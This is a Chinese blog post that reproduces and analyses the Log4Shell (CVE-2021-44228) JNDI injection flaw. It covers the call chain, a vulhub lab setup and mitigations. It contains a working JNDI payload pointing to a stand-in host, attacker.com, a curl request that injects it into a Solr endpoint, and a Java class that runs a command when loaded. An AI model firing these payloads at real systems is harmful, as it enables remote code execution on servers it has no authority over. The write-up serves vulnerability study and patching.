返回文章列表
CVE-2021-44228 Log4j 漏洞复现与原理分析
深入分析Log4j2 JNDI注入漏洞(Log4Shell),从环境搭建到漏洞复现,再到源码层面的触发机制解析。
2026年5月1日5 分钟阅读1,326 字
#CVE复现#JNDI注入#log4j
ON THIS PAGE
漏洞概述
CVE-2021-44228,即 Log4Shell,是 Apache Log4j2 中的一个严重漏洞。由于 Log4j2 支持 JNDI 查找功能,攻击者可以通过构造特殊的日志输入来触发远程代码执行。
CVSS 评分:10.0(严重)
漏洞原理
JNDI 注入
Log4j2 在处理日志消息时,会解析 ${} 语法。当遇到 ${jndi:ldap://...} 格式时,会主动连接指定的 LDAP 服务器并加载远程对象。
${jndi:ldap://attacker.com/Evil}
调用链分析
// 1. MessagePatternConverter.format() 处理日志格式
// 2. StrSubstitutor.resolveVariable() 解析 ${} 占位符
// 3. JndiLookup.lookup() 执行 JNDI 查找
// 4. InitialContext.lookup() 连接 LDAP 并加载类
public String lookup(final LogEvent event, final String key) {
// 这里没有对 key 做任何过滤
Context ctx = new InitialContext();
return (String) ctx.lookup(key);
}
环境搭建
# 使用 vulhub 搭建漏洞环境
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d
# 验证环境
curl http://localhost:8983/solr/admin/cores?action=
漏洞复现
准备恶意 LDAP 服务器
public class EvilObj {
static {
try {
Runtime.getRuntime().exec("touch /tmp/success");
} catch (Exception e) {}
}
}
构造 Payload
# 构造 JNDI 注入请求
curl 'http://target:8983/solr/admin/cores?action=${jndi:ldap://attacker.com:1389/Evil}'
# 验证结果
docker exec -it solr ls /tmp/success
修复方案
- 升级版本:升级 Log4j2 到 2.17.0+
- 临时缓解:设置
log4j2.formatMsgNoLookups=true - 删除 JndiLookup 类:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
影响范围
几乎所有使用 Log4j2 的 Java 应用都可能受影响,包括但不限于:
- Apache Struts2
- Apache Solr
- Apache Druid
- ElasticSearch
- 大量企业自研系统
总结
Log4Shell 被称为"核弹级漏洞"当之无愧。它的可怕之处在于影响范围极广且利用极为简单。这也提醒我们,对第三方依赖的安全管理绝不能掉以轻心。
评论区
0 条评论加载评论中...